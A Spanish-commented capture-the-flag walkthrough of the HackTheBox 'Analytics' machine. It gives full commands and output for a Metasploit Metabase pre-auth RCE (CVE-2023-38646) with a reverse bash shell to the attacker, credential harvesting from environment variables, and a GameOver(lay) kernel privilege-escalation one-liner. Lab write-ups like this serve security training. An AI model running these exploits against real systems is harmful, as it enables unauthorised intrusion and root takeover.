Analytics

nmap

nmap -sC -sV 10.10.11.233
Starting Nmap 7.94SVN (https://nmap.org) at 2024-03-04 15:17 CET
Nmap scan report for analytical.htb (10.10.11.233)
Host is up (0.23s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open ssh   OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_ 256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open http   nginx 1.18.0 (Ubuntu)
|_http-title: Analytical
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 29.08 seconds

vim/etc/hosts
10.10.11.250   analytical.htb

#Si nos vamos a login, trata de conectar hacia data.analytical.htb, también podemos observer esto en el código funete de la página.
#Añadimos el subdominio a /etc/hosts.

vim/etc/hosts
10.10.11.250   analytical.htb data.analytical.htb

#Podemos observar una página de login.
#Nos dice “Login to Metabase”.
#Buscamos algun exploit de Matabase.
https://github.com/m3m0o/metabase-pre-auth-rce-poc.git

#Interceptamos la cookie de login con unas credenciales cualquiera.

```
GET /api/user/current HTTP/1.1
Host: data.analytical.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: application/json
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/json
DNT: 1
Connection: close
Referer: http://data.analytical.htb/auth/login?redirect=%2F
Cookie: metabase.DEVICE=07a30d80-8194-42c5-a021-41361b730168
```

CVE-2023-38646

#Nuscamos referencias sobre este RCE, para ver si hay algún RCE
https://www.assetnote.io/resources/research/chaining-our-way-to-pre-auth-rce-in-metabase-cve-2023-38646?source=post_page-----8cf81fa970ca----------
#No usaremos el script.
#Usaremos msfconsole.

msfconsole
Metasploit tip: Use the resource command to run commands from a file

```
  +-------------------------------------------------------+
  |  METASPLOIT by Rapid7                                 |
  +---------------------------+---------------------------+
  |      _________________    |                           |
  |  ==c(_____(o(_____(_()  | |"""""""""""""|======[***  |
  |             )=\           | |  EXPLOIT    \           |
  |            // \\          | |_____________\_______     |
  |           //   \\         | |==[msf >]==========\\    |
  |          //     \\        | |____________________\\  |
  |         // RECON \\       | \(@)(@)(@)(@)(@)(@)(@)/   |
  |        //         \\      |  **********************    |
  +---------------------------+---------------------------+
  |      o O o                |        \'\/\/\/'/         |
  |              o O          |         )======(          |
  |                 o         |       .'  LOOT  '.        |
  | |^^^^^^^^^^^^^^^^^^^^|___       |      /    _||__   \       |
  | |    PAYLOAD      |""\___, |     /    (_||_     \      |
  | |_________________|__|)__| |    |     __||_)     |     |
  | |(@)(@)"""**|(@)(@)**|(@) |    "       ||       "     |
  |  = = = = = = = = = = = =  |     '--------------'      |
  +---------------------------+---------------------------+


       =[ metasploit v6.3.43-dev                          ]
+ -- --=[ 2376 exploits - 1232 auxiliary - 416 post       ]
+ -- --=[ 1391 payloads - 46 encoders - 11 nops           ]
+ -- --=[ 9 evasion                                       ]
```

Metasploit Documentation: https://docs.metasploit.com/

msf6 > search metabase

Matching Modules
==========

#	Name	Disclosure Date	Rank	Check	Description
0	exploit/linux/http/metabase_setup_token_rce	2023-07-22	excellent	Yes	Metabase Setup Token RCE

Interact with a module by name or index. For example info 0, use 0 or use exploit/linux/http/metabase_setup_token_rce

msf6 > use 0
[*] Using configured payload cmd/unix/reverse_bash
msf6 exploit(linux/http/metabase_setup_token_rce) > use exploit/linux/http/metabase_setup_token_rce
[*] Using configured payload cmd/unix/reverse_bash
msf6 exploit(linux/http/metabase_setup_token_rce) > set RHOST data.analytical.htb
RHOST => data.analytical.htb
msf6 exploit(linux/http/metabase_setup_token_rce) > set LHOST 10.10.16.57
LHOST => 10.10.16.57
msf6 exploit(linux/http/metabase_setup_token_rce) > set RPORT 80
RPORT => 80
msf6 exploit(linux/http/metabase_setup_token_rce) > run

[-] Handler failed to bind to 10.10.11.233:4444:- -
[*] Started reverse TCP handler on 0.0.0.0:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Version Detected: 0.46.6
[+] Found setup token: 249fa03d-fd94-4d5b-b94f-b4ebf3df681f
[*] Sending exploit (may take a few seconds)
[*] Exploit completed, but no session was created.

```
msf6 exploit(linux/http/metabase_setup_token_rce) > env
msf6 exploit(linux/http/metabase_setup_token_rce) > run

[*] Started reverse TCP handler on 10.10.16.84:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Version Detected: 0.46.6
[+] Found setup token: 249fa03d-fd94-4d5b-b94f-b4ebf3df681f
[*] Sending exploit (may take a few seconds)
[*] Command shell session 1 opened (10.10.16.84:4444 -> 10.10.11.233:46552) at 2024-03-07 20:04:18 +0100

whoami
metabase
env
```

```
MB_LDAP_BIND_DN=
LANGUAGE=en_US:en
USER=metabase
HOSTNAME=207bcb000024
FC_LANG=en-US
SHLVL=5
LD_LIBRARY_PATH=/opt/java/openjdk/lib/server:/opt/java/openjdk/lib:/opt/java/openjdk/../lib
HOME=/home/metabase
MB_EMAIL_SMTP_PASSWORD=
LC_CTYPE=en_US.UTF-8
JAVA_VERSION=jdk-11.0.19+7
LOGNAME=metabase
_=/bin/sh
MB_DB_CONNECTION_URI=
PATH=/opt/java/openjdk/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
MB_DB_PASS=
MB_JETTY_HOST=0.0.0.0
META_PASS=An4lytics_ds20223#
LANG=en_US.UTF-8
MB_LDAP_PASSWORD=
SHELL=/bin/sh
MB_EMAIL_SMTP_USERNAME=
MB_DB_USER=
META_USER=metalytics
LC_ALL=en_US.UTF-8
JAVA_HOME=/opt/java/openjdk
PWD=/
MB_DB_FILE=//metabase.db/metabase.db
```

```
#Tenemos credenciales
META_USER=metalytics
META_PASS=An4lytics_ds20223#

cat creeds.txt
metalytics:An4lytics_ds20223#

ssh metalytics@10.10.11.233
The authenticity of host '10.10.11.233 (10.10.11.233)' can't be established.
ED25519 key fingerprint is SHA256:TgNhCKF6jUX7MG8TC01/MUj/+u0EBasUVsdSQMHdyfY.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.11.233' (ED25519) to the list of known hosts.
metalytics@10.10.11.233's password:
Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 6.2.0-25-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Thu Mar  7 07:08:47 PM UTC 2024

  System load:  0.02490234375     Processes:               163
  Usage of /:   97.7% of 7.78GB   Users logged in:         0
  Memory usage: 34%               IPv4 address for docker0: 172.17.0.1
  Swap usage:   0%                IPv4 address for eth0:    10.10.11.233

  => / is using 97.7% of 7.78GB


Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.
```

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status

The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings

Last login: Thu Mar 7 16:12:16 2024 from 10.10.14.112
metalytics@analytics:~$ whoami
metalytics

priv_escalation

#El usuario, no tiene permisos para ejeutar comandos como administrador.
metalytics@analytics:~$ sudo -l
[sudo] password for metalytics:
Sorry, user metalytics may not run sudo on localhost.

#Vemos la versión del host.
metalytics@analytics:~$ uname -a
Linux analytics 6.2.0-25-generic #25~22.04.2-Ubuntu SMP PREEMPT_DYNAMIC Wed Jun 28 09:55:23 UTC 2 x86_64 x86_64 x86_64 GNU/Linux

#Había una vulnerabilidad privada relacionada con el kernel de Ubuntu descubierta muy recientemente, así que simplemente decidí probarla. Nuevo exploit de contenedor: rooteo de contenedores no root con CVE-2023-2640 y CVE-2023-32629, también conocido como GameOver(lay)
https://www.crowdstrike.com/blog/crowdstrike-discovers-new-container-exploit/

metalytics@analytics:~$ unshare -rm sh -c 'mkdir l u w m && cp /u*/b*/p*3 l/; setcap cap_setuid+eip l/python3;mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w, m && touch m/*;' && u/python3 -c 'import pty;import os;os.setuid(0);pty.spawn("/bin/bash")'
root@analytics:~# whoami
root